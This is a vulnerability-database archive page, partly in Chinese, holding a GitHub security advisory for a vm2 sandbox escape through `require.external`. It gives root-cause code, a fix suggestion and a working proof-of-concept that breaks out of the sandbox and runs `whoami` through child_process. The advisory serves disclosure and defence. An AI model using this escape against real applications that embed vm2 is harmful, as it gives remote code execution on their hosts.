资料档案
文献来源与参考链接
当前保存的来源版本 · v1
- 结构化格式
- github_advisory
原始标题与分类记录
vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE
- 研究方向
- 攻击方法
- 影响维度
- 安全与合规
- 风险类型
- 待人工确认
- 相关技术
- 待人工确认
当前为离线关键词规则模式。
分类规则与原始字段
攻击方法 · attack
set in the first place, since there is no boundary to attack via symlink.
- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different*
安全与合规 · safety
root: './',
},
});
```
`root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same dir
{
"ai_relevance": {
"evidence": [],
"matches": [],
"method": "explainable_keyword_rules",
"reason": "No explicit AI evidence; requires review",
"relevant": false
},
"entity_ids": [
"GHSA-j3hm-6rg5-mchv",
"CVE-2026-92946"
],
"facts": [
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].vulnerabilities[0].package",
"quote": "{\"ecosystem\": \"npm\", \"name\": \"vm2\"}",
"record_path": "$.vulnerabilities[0].package"
},
"field": "affected_products",
"value": {
"ecosystem": "npm",
"name": "vm2"
}
},
{
"evidence": {
"context": [
{
"format": "github_advisory",
"json_path": "$[30].vulnerabilities[0]",
"quote": "{\"first_patched_version\": \"3.11.7\", \"package\": {\"ecosystem\": \"npm\", \"name\": \"vm2\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 3.11.6\"}",
"record_path": "$.vulnerabilities[0]"
}
],
"format": "github_advisory",
"json_path": "$[30].vulnerabilities[0].vulnerable_version_range",
"quote": "\"\u003c= 3.11.6\"",
"record_path": "$.vulnerabilities[0].vulnerable_version_range"
},
"field": "affected_versions",
"value": {
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"range": "\u003c= 3.11.6"
}
},
{
"evidence": {
"context": [
{
"format": "github_advisory",
"json_path": "$[30].vulnerabilities[0]",
"quote": "{\"first_patched_version\": \"3.11.7\", \"package\": {\"ecosystem\": \"npm\", \"name\": \"vm2\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 3.11.6\"}",
"record_path": "$.vulnerabilities[0]"
}
],
"format": "github_advisory",
"json_path": "$[30].vulnerabilities[0].first_patched_version",
"quote": "\"3.11.7\"",
"record_path": "$.vulnerabilities[0].first_patched_version"
},
"field": "fixed_versions",
"value": {
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"version": "3.11.7"
}
},
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].cvss",
"quote": "{\"score\": 10.0, \"vector_string\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\"}",
"record_path": "$.cvss"
},
"field": "cvss",
"value": {
"score": 10.0,
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
}
},
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].cvss_severities.cvss_v3",
"quote": "{\"score\": 10.0, \"vector_string\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\"}",
"record_path": "$.cvss_severities.cvss_v3"
},
"field": "cvss",
"value": {
"score": 10.0,
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
}
},
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].cvss_severities.cvss_v4",
"quote": "{\"score\": 0.0, \"vector_string\": null}",
"record_path": "$.cvss_severities.cvss_v4"
},
"field": "cvss",
"value": {
"score": 0.0,
"vector": null
}
},
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].references[0]",
"quote": "\"https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv\"",
"record_path": "$.references[0]"
},
"field": "references",
"value": {
"types": [
"WEB"
],
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"
}
},
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].references[1]",
"quote": "\"https://nvd.nist.gov/vuln/detail/CVE-2026-92946\"",
"record_path": "$.references[1]"
},
"field": "references",
"value": {
"types": [
"WEB"
],
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"
}
},
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].references[2]",
"quote": "\"https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86\"",
"record_path": "$.references[2]"
},
"field": "references",
"value": {
"types": [
"WEB"
],
"url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"
}
},
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].references[3]",
"quote": "\"https://github.com/patriksimek/vm2/releases/tag/v3.11.7\"",
"record_path": "$.references[3]"
},
"field": "references",
"value": {
"types": [
"WEB"
],
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
}
},
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].references[4]",
"quote": "\"https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external\"",
"record_path": "$.references[4]"
},
"field": "references",
"value": {
"types": [
"WEB"
],
"url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"
}
},
{
"evidence": {
"format": "github_advisory",
"json_path": "$[30].references[5]",
"quote": "\"https://github.com/advisories/GHSA-j3hm-6rg5-mchv\"",
"record_path": "$.references[5]"
},
"field": "references",
"value": {
"types": [
"WEB"
],
"url": "https://github.com/advisories/GHSA-j3hm-6rg5-mchv"
}
},
{
"evidence": {
"end_offset": 5100,
"location": "title_and_content",
"quote": "**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`\u0027s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous \u2014 materially weaker than `nesting: true`\u0027s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: \u0027./\u0027`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\"",
"start_offset": 4353
},
"field": "mitigations",
"value": "**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`\u0027s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous \u2014 materially weaker than `nesting: true`\u0027s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: \u0027./\u0027`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\""
}
],
"method": "source_grounded_extraction",
"unknown_fields": [
"papers",
"poc"
]
}
原始采集文本
GHSA-j3hm-6rg5-mchv
## Summary
`NodeVM`'s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:
- `require.root` defaults to **unrestricted** — "if omitted every path is allowed."
- `require.context` defaults to **`"host"`** — files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.
Sandboxed code can therefore `require()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.
This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`:
```js
const vm = new NodeVM({
require: {
external: true,
root: './',
},
});
```
`root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.
## Affected Versions
All vm2 versions where `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).
## Details / Root Cause
`lib/resolver-compat.js`:
```js
const {
builtin: builtinOpt,
mock: mockOpt,
external: externalOpt,
root: rootPaths,
resolve: customResolver,
customRequire: hostRequire = defaultRequire,
context = 'host', // <-- defaults to 'host'
strict = true,
fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
// root is only canonicalized/validated if the embedder explicitly provided one.
...
}
```
and `CustomResolver.isPathAllowed`:
```js
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true; // <-- unrestricted when root is omitted
...
}
```
and `CustomResolver.loadJS`:
```js
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default)
mod.exports = vm.readonly(m);
}
```
`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.
**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**
- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader's symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has — nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.
- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely — the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.
An embedder who has correctly mitigated both prior advisories remains completely open through this one.
**Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of "every path is allowed."
## Proof of Concept
See attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source.
```js
const path = require('path');
const { NodeVM } = require('vm2');
const vm = new NodeVM({
require: { external: true, root: './' }, // verbatim from README "Quick Examples"
});
let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;
const result = vm.run(`
const real = require(${JSON.stringify(vm2EntryPoint)});
const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');
console.log(result); // real host username, e.g. "Abisheik M"
```
**Actual output on the test machine:**
```
{ whoami: 'Abisheik M', platform: 'win32' }
```
`Abisheik M` is the real OS account executing the Node.js process — not a sandbox artifact.
## Impact
Any application that follows vm2's own README "Quick Examples" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:
- Execute arbitrary OS commands via `child_process` (full RCE).
- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).
- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.
## Suggested Fix
Mirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**
In `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time — extending the *same* `checkedRootPaths` eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default `require` object when `nesting: true` is set.
Additionally: update `README.md`'s "Quick Examples" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).
affected_products: {"ecosystem": "npm", "name": "vm2"}
affected_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "range": "<= 3.11.6"}
fixed_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "version": "3.11.7"}
cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}
cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}
cvss: {"score": 0.0, "vector": null}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"}
references: {"types": ["WEB"], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"}
references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"}
references: {"types": ["WEB"], "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"}
references: {"types": ["WEB"], "url": "https://github.com/advisories/GHSA-j3hm-6rg5-mchv"}
采集信息与校验
- 资料类别
- 漏洞库
- 采集内容
- 来源文本(完整程度未标明)
- 发布日期
- 2026-10-05 22:34 UTC
- 首次入库
- 2026-10-17 12:25 UTC
- 本版本入库更新
- 2026-10-17 12:25 UTC
完整来源元数据
{
"format": "github_advisory",
"raw_record": {
"comments": 6,
"credits": [
{
"type": "reporter",
"user": {
"avatar_url": "https://avatars.githubusercontent.com/u/124699114?v=4",
"events_url": "https://api.github.com/users/abisheikM1/events{/privacy}",
"followers_url": "https://api.github.com/users/abisheikM1/followers",
"following_url": "https://api.github.com/users/abisheikM1/following{/other_user}",
"gists_url": "https://api.github.com/users/abisheikM1/gists{/gist_id}",
"gravatar_id": "",
"html_url": "https://github.com/abisheikM1",
"id": 124699114,
"login": "abisheikM1",
"node_id": "U_kgDOB27B6g",
"organizations_url": "https://api.github.com/users/abisheikM1/orgs",
"received_events_url": "https://api.github.com/users/abisheikM1/received_events",
"repos_url": "https://api.github.com/users/abisheikM1/repos",
"site_admin": false,
"starred_url": "https://api.github.com/users/abisheikM1/starred{/owner}{/repo}",
"subscriptions_url": "https://api.github.com/users/abisheikM1/subscriptions",
"type": "User",
"url": "https://api.github.com/users/abisheikM1",
"user_view_type": "public"
}
},
{
"type": "reporter",
"user": {
"avatar_url": "https://avatars.githubusercontent.com/u/291979002?v=4",
"events_url": "https://api.github.com/users/amagesh1/events{/privacy}",
"followers_url": "https://api.github.com/users/amagesh1/followers",
"following_url": "https://api.github.com/users/amagesh1/following{/other_user}",
"gists_url": "https://api.github.com/users/amagesh1/gists{/gist_id}",
"gravatar_id": "",
"html_url": "https://github.com/amagesh1",
"id": 291979002,
"login": "amagesh1",
"node_id": "U_kgDOEWc--g",
"organizations_url": "https://api.github.com/users/amagesh1/orgs",
"received_events_url": "https://api.github.com/users/amagesh1/received_events",
"repos_url": "https://api.github.com/users/amagesh1/repos",
"site_admin": false,
"starred_url": "https://api.github.com/users/amagesh1/starred{/owner}{/repo}",
"subscriptions_url": "https://api.github.com/users/amagesh1/subscriptions",
"type": "User",
"url": "https://api.github.com/users/amagesh1",
"user_view_type": "public"
}
},
{
"type": "reporter",
"user": {
"avatar_url": "https://avatars.githubusercontent.com/u/7230603?v=4",
"events_url": "https://api.github.com/users/Den1al/events{/privacy}",
"followers_url": "https://api.github.com/users/Den1al/followers",
"following_url": "https://api.github.com/users/Den1al/following{/other_user}",
"gists_url": "https://api.github.com/users/Den1al/gists{/gist_id}",
"gravatar_id": "",
"html_url": "https://github.com/Den1al",
"id": 7230603,
"login": "Den1al",
"node_id": "MDQ6VXNlcjcyMzA2MDM=",
"organizations_url": "https://api.github.com/users/Den1al/orgs",
"received_events_url": "https://api.github.com/users/Den1al/received_events",
"repos_url": "https://api.github.com/users/Den1al/repos",
"site_admin": false,
"starred_url": "https://api.github.com/users/Den1al/starred{/owner}{/repo}",
"subscriptions_url": "https://api.github.com/users/Den1al/subscriptions",
"type": "User",
"url": "https://api.github.com/users/Den1al",
"user_view_type": "public"
}
}
],
"cve_id": "CVE-2026-92946",
"cvss": {
"score": 10.0,
"vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
},
"cvss_severities": {
"cvss_v3": {
"score": 10.0,
"vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
},
"cvss_v4": {
"score": 0.0,
"vector_string": null
}
},
"cwes": [
{
"cwe_id": "CWE-913",
"name": "Improper Control of Dynamically-Managed Code Resources"
}
],
"description": "## Summary\n\n`NodeVM`\u0027s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:\n\n- `require.root` defaults to **unrestricted** \u2014 \"if omitted every path is allowed.\"\n- `require.context` defaults to **`\"host\"`** \u2014 files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.\n\nSandboxed code can therefore `require()` a relative or absolute path to vm2\u0027s own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.\n\nThis is exploitable using **vm2\u0027s own documented \"Quick Examples\" configuration** in `README.md`:\n\n```js\nconst vm = new NodeVM({\n require: {\n external: true,\n root: \u0027./\u0027,\n },\n});\n```\n\n`root: \u0027./\u0027` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree \u2014 so the restriction does not exclude vm2 itself. An application built by following the README\u0027s quick-start guide is affected by default.\n\n\n## Affected Versions\n\nAll vm2 versions where `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions` predates this report \u2014 confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).\n\n## Details / Root Cause\n\n`lib/resolver-compat.js`:\n\n```js\nconst {\n builtin: builtinOpt,\n mock: mockOpt,\n external: externalOpt,\n root: rootPaths,\n resolve: customResolver,\n customRequire: hostRequire = defaultRequire,\n context = \u0027host\u0027, // \u003c-- defaults to \u0027host\u0027\n strict = true,\n fs: fsOpt = DEFAULT_FS,\n} = options;\n...\nif (!externalOpt) return new Resolver(fsOpt, [], builtins);\n...\nlet checkedRootPaths;\nif (rootPaths !== undefined) {\n // root is only canonicalized/validated if the embedder explicitly provided one.\n ...\n}\n```\n\nand `CustomResolver.isPathAllowed`:\n\n```js\nisPathAllowed(filename) {\n if (this.rootPaths === undefined) return true; // \u003c-- unrestricted when root is omitted\n ...\n}\n```\n\nand `CustomResolver.loadJS`:\n\n```js\nloadJS(vm, mod, filename) {\n if (this.pathContext(filename, \u0027js\u0027) !== \u0027host\u0027) return super.loadJS(vm, mod, filename);\n const m = this.hostRequire(filename); // \u003c-- real host require(), when context === \u0027host\u0027 (the default)\n mod.exports = vm.readonly(m);\n}\n```\n\n`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** \u2014 it gates purely on `isPathAllowed`, which is a no-op when `root` isn\u0027t set. Combined with `context` defaulting to `\u0027host\u0027`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.\n\n**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**\n\n- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader\u0027s symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has \u2014 nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.\n- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely \u2014 the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.\n\nAn embedder who has correctly mitigated both prior advisories remains completely open through this one.\n\n**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`\u0027s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous \u2014 materially weaker than `nesting: true`\u0027s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: \u0027./\u0027`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\"\n\n## Proof of Concept\n\nSee attached `poc.js`. Reproduces using **vm2\u0027s own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) \u2014 no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2\u0027s source.\n\n```js\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst vm = new NodeVM({\n require: { external: true, root: \u0027./\u0027 }, // verbatim from README \"Quick Examples\"\n});\n\nlet vm2EntryPoint = path.relative(process.cwd(), require.resolve(\u0027vm2\u0027)).replace(/\\\\/g, \u0027/\u0027);\nif (!vm2EntryPoint.startsWith(\u0027.\u0027)) vm2EntryPoint = \u0027./\u0027 + vm2EntryPoint;\n\nconst result = vm.run(`\n const real = require(${JSON.stringify(vm2EntryPoint)});\n const inner = new real.NodeVM({ require: { builtin: [\u0027child_process\u0027], external: false } });\n module.exports = inner.run(\"module.exports = require(\u0027child_process\u0027).execSync(\u0027whoami\u0027).toString().trim()\", \u0027inner.js\u0027);\n`, \u0027untrusted-plugin.js\u0027);\n\nconsole.log(result); // real host username, e.g. \"Abisheik M\"\n```\n\n**Actual output on the test machine:**\n```\n{ whoami: \u0027Abisheik M\u0027, platform: \u0027win32\u0027 }\n```\n\n`Abisheik M` is the real OS account executing the Node.js process \u2014 not a sandbox artifact.\n\n## Impact\n\nAny application that follows vm2\u0027s own README \"Quick Examples\" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:\n\n- Execute arbitrary OS commands via `child_process` (full RCE).\n- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).\n- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` \u2014 the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.\n\n## Suggested Fix\n\nMirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**\n\nIn `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time \u2014 extending the *same* `checkedRootPaths` eager-probe block that Category 24\u0027s fix already introduced for the \"root is set but the fs adapter can\u0027t realpath\" case, to also cover \"root was never set at all.\" This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25\u0027s fix forces an explicit non-default `require` object when `nesting: true` is set.\n\nAdditionally: update `README.md`\u0027s \"Quick Examples\" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).",
"epss": {
"percentage": 0.00857,
"percentile": 0.57524
},
"ghsa_id": "GHSA-j3hm-6rg5-mchv",
"github_reviewed_at": "2026-10-05T22:34:50Z",
"html_url": "https://github.com/advisories/GHSA-j3hm-6rg5-mchv",
"identifiers": [
{
"type": "GHSA",
"value": "GHSA-j3hm-6rg5-mchv"
},
{
"type": "CVE",
"value": "CVE-2026-92946"
}
],
"nvd_published_at": null,
"published_at": "2026-10-05T22:34:50Z",
"references": [
"https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv",
"https://nvd.nist.gov/vuln/detail/CVE-2026-92946",
"https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86",
"https://github.com/patriksimek/vm2/releases/tag/v3.11.7",
"https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external",
"https://github.com/advisories/GHSA-j3hm-6rg5-mchv"
],
"repository_advisory_url": "https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-j3hm-6rg5-mchv",
"severity": "critical",
"source_code_location": "https://github.com/patriksimek/vm2",
"summary": "vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE",
"type": "reviewed",
"updated_at": "2026-10-05T22:34:51Z",
"url": "https://api.github.com/advisories/GHSA-j3hm-6rg5-mchv",
"vulnerabilities": [
{
"first_patched_version": "3.11.7",
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"vulnerable_functions": [],
"vulnerable_version_range": "\u003c= 3.11.6"
}
],
"withdrawn_at": null
},
"record_path": "$[30]"
}原文版本历史与校验
| 版本 | 入库更新时间 | 来源发布日期 | 校验标识 |
|---|
| v1 · 正在查看 | 2026-10-17 12:25 UTC | 2026-10-05 22:34 UTC | c8d51c73d79e9ab33a14efb57874668750ee437ce61d265de8a083dcfea13f24 |
可引用分片 · 8 段
CHK-1fdc2ed28d0b406221aeb363
GHSA-j3hm-6rg5-mchv
## Summary
`NodeVM`'s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:
- `require.root` defaults to **unrestricted** — "if omitted every path is allowed."
- `require.context` defaults to **`"host"`** — files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.
Sandboxed code can therefore `require()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.
This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`:
```js
const vm = new NodeVM({
require: {
external: true,
root: './',
},
});
```
`root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.
## Affected Versions
CHK-c1bf53ec2b21c043c3349952
o the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.
## Affected Versions
All vm2 versions where `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).
## Details / Root Cause
`lib/resolver-compat.js`:
```js
const {
builtin: builtinOpt,
mock: mockOpt,
external: externalOpt,
root: rootPaths,
resolve: customResolver,
customRequire: hostRequire = defaultRequire,
context = 'host', // <-- defaults to 'host'
strict = true,
fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
// root is only canonicalized/validated if the embedder explicitly provided one.
...
}
```
and `CustomResolver.isPathAllowed`:
```js
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true; // <-- unrestricted when root is omitted
...
}
```
and `CustomResolver.loadJS`:
```js
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
CHK-c98f616d546f4fca76702280
```
and `CustomResolver.loadJS`:
```js
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default)
mod.exports = vm.readonly(m);
}
```
`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.
**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**
